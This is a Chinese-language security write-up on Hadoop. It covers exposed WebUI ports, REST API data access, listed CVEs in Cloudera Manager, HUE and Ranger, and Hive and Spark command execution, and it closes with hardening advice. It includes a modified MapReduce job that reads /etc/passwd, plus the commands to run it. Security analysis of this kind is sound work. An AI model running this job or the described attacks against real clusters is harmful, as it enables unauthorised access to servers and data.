0x00 Hadoop簡介:
Hadoop是一個由Apache基金會所開發的一個開源 高可靠 可擴充的分布式計算架構。Hadoop的架構最核心的設計就是:HDFS和MapReduce。
HDFS為海量的資料提供了存儲,MapReduce則為海量的資料提供了計算。
HDFS是Google File System(GFS)的開源實作。
MapReduce是一種程式設計模型,用于大規模資料集(大于1TB)的并行運算。
總的來說Hadoop安全問題涉及三個方面:
0x01 第一:WebUI敏感資訊洩漏:
Hadoop預設情況開放了很多端口提供WebUI,下面這些多多少少都會洩漏一些資訊,但是總的來說在内網還好吧。
一、HDFS
1.NameNode 預設端口 50070
2.SecondNameNode 預設端口 50090
3.DataNode 預設端口 50075
4.Backup/Checkpoint node 預設端口 50105
二、MapReduce
1.JobTracker 預設端口 50030
2.TaskTracker 預設端口 50060
端口探測,掃描HDFS和MapReduce的WebUI對應的服務端口

NameNode WebUI管理界面
通過NameNode節點管理HDFS
其中比較重要的是DataNode 預設端口50075開放的話,攻擊者可以通過hdsf提供的restful api對hdfs存儲資料進行操作。
restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
0x02 MapReduce代碼執行漏洞
MapReduce demo:https://github.com/huahuiyang/yarn-demo
稍微改動了一下:
FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
file = new FileInputStream("/etc/passwd");
inputFileReader = new InputStreamReader(file, "utf-8");
reader = new BufferedReader(inputFileReader);
// 一次讀入一行,直到讀入null為檔案結束
while ((tempString = reader.readLine()) != null) {
content += tempString;
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e1) {
}
}
}
utput.collect(new Text(content), new IntWritable(1));
執行mapreduce任務:
➜ bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result
檢視執行結果:
➜ bin cat result/part-00000
既然可以執行jar程式,執行系統指令還是很容易的,但是這個需要一個Hadoop的shell, 問題也不大。
0x03 Hadoop的第三方插件安全漏洞
Cloudera Manager <=5.5
1、Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
2、Template rename stored XSS (CVE-2016-4948)
Kerberos wizard stored XSS (CVE-2016-4948)
Host addition reflected XSS (CVE-2016-4948)
Cloudera HUE =< 3.9.0
1、Enumerating users with an unprivileged account (CVE-2016-4947)
2、Stored XSS (CVE-2016-4946)
3、Open redirect
Apache Ranger =< 0.5
1、Unauthenticated policy download
2、Authenticated SQL injection (CVE-2016-2174)
Apache Group Hadoop 2.6.x
1、Apache Hadoop MapReduce資訊洩露漏洞(CVE-2015-1776)
Hive任意指令/代碼執行漏洞
HQL可以通過transform自定義Hive使用的 Map/Reduce 腳本,進而調用shell/Python等語言,導緻攻擊者可以通過hive接口等相關操作方式直接擷取伺服器權限
漏洞往往是相似的,Spark 6066 7077端口也存在着類似的安全問題,預設情況下可以推送jar包執行,如果權限足夠大可以實作植入ssh公鑰,有興趣的可以研究下,估計在内網可以搞到一些研發的機子。。。
0x04 安全解決方案
1、開啟kerberos認證,參考:
http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html
2、敏感頁面以及目錄最好也不要對普通使用者開放,可nginx方向代理、iptables解決。(jmx/logs/cluster/status.jsp/)
3、hadoop叢集單獨部署 做好安全監控發現被攻擊迹象及時高警
參考http://blog.cloudera.com/blog/2009/08/hadoop-default-ports-quick-reference/
推薦滲透腳本:https://github.com/0xwindows/VulScritp